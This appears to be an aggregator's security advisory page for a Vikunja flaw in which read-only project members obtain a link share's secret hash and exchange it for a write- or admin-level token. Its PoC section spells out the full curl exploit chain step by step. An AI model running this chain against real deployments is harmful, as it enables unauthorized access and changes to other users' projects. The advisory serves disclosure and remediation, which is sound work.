GHSA-qfwc-vx6f-3g6g CVE-2026-91985 GO-2026-6747
Vikunja: Read-only project members can obtain any link share's access hash via the single-share read endpoint (v1 and v2) and escalate to the share's permission level
- Severity
- 8.7 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.43%
- Chance of exploitation in the next 30 days. Higher than 37.52% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-639 Authorization Bypass Through User-Controlled Key
- CWE-862 Missing Authorization
- Fix
2.6.0- Upgrade code.vikunja.io/api to this version or later
Description
Summary
A user who has only read permission on a project can call the single link-share read endpoint and receive the share's hash field — the secret credential that the anonymous POST /shares/{share}/auth endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.
Details
Affected endpoints (both verified with a complete chain):
- v1:
GET /api/v1/projects/{project}/shares/{share} - v2:
GET /api/v2/projects/{project}/shares/{share}
Permission gate: LinkSharing.CanRead (pkg/models/link_sharing_permissions.go) delegates to project.CanRead(s, a) — i.e. any user with read access to the project passes. The response serializes the hash field (pkg/models/link_sharing.go, field tag json:"hash"), which is the share's bearer credential. The share password field is correctly cleared before returning, but the hash is not restricted.
Inconsistent with the sibling list endpoint GET /projects/{project}/shares (LinkSharing.ReadAll, pkg/models/link_sharing.go:243-256), which requires project.IsAdmin — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 handler.DoReadOne wrappers call the same CanRead), so both surfaces are affected.
Impact chain: hash -> POST /api/v1/shares/{hash}/auth (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.
Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.
PoC
Steps below use two accounts: the owner (token $OWNER) and an attacker who has been granted read-only access to the project (token $READER). All requests were executed against a local Vikunja 2.5.0 instance.
- Owner creates a private project and a read-write link share (permission=1):
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"title":"poc"}'
# -> {"id":123,...}
curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"name":"poc","permission":1}'
# -> {"id":7,"hash":"<SECRET_HASH>",...}
- Owner adds the attacker as a read-only member (permission=0):
curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}'
- Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):
curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"id":7,"hash":"<SECRET_HASH>","permission":1,...}
# v2 twin behaves identically:
curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"hash":"<SECRET_HASH>",...}
- Attacker exchanges the hash for a link-share JWT (no authentication required):
curl -X POST "$BASE/api/v1/shares/<SECRET_HASH>/auth" \
-H 'Content-Type: application/json' -d '{}'
# -> 200 {"token":"<LINK_JWT>",...}
- Negative control — the attacker's own user token cannot write to the project:
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \
-H 'Content-Type: application/json' -d '{"title":"direct"}'
# -> 403 Forbidden
- Escalation proof — the link-share JWT writes successfully:
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINK_JWT>" \
-H 'Content-Type: application/json' -d '{"title":"escalated"}'
# -> 201 Created
Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).
Impact
Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share's permission level: write members' tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project's shared secret. Suggested fix: require project.IsAdmin in LinkSharing.CanRead (aligning with ReadAll), or omit the hash field from responses to non-admin members.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.vikunja.io/api | < 2.6.0 |
2.6.0 |
| code.vikunja.io/api | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.vikunja.io/api Go → 2.6.0
- go
go get code.vikunja.io/api@v2.6.0 && go mod tidy
Severity breakdown
CVSS 4.0 8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
- github.com/go-vikunja/vikunja/security/advisories/GHSA-qfwc-vx6f-3g6g
- github.com/go-vikunja/vikunja/pull/3688
- github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2
- github.com/go-vikunja/vikunja/releases/tag/v2.6.0
- vulncheck.com/advisories/vikunja-before-2.6.0-privilege-escalation-via-link-share-…
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-m687-p538-r5hp Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted | Medium | Also affects code.vikunja.io/api |
| GHSA-fmmf-xq98-g327 Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check | Medium | Also affects code.vikunja.io/api |
| GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) | Medium | Also affects code.vikunja.io/api |
| GHSA-hjx8-qv73-f7cm Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed | High | Also affects code.vikunja.io/api |
| GHSA-fprf-r6rv-xg99 Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants | Medium | Also affects code.vikunja.io/api |
| GHSA-4hv6-xc92-j86g Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes | High | Also affects code.vikunja.io/api |
| GHSA-w2ch-4xgr-22ww Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal | Low | Also affects code.vikunja.io/api |
| GHSA-8wvg-r2j4-3737 Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint | Medium | Also affects code.vikunja.io/api |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor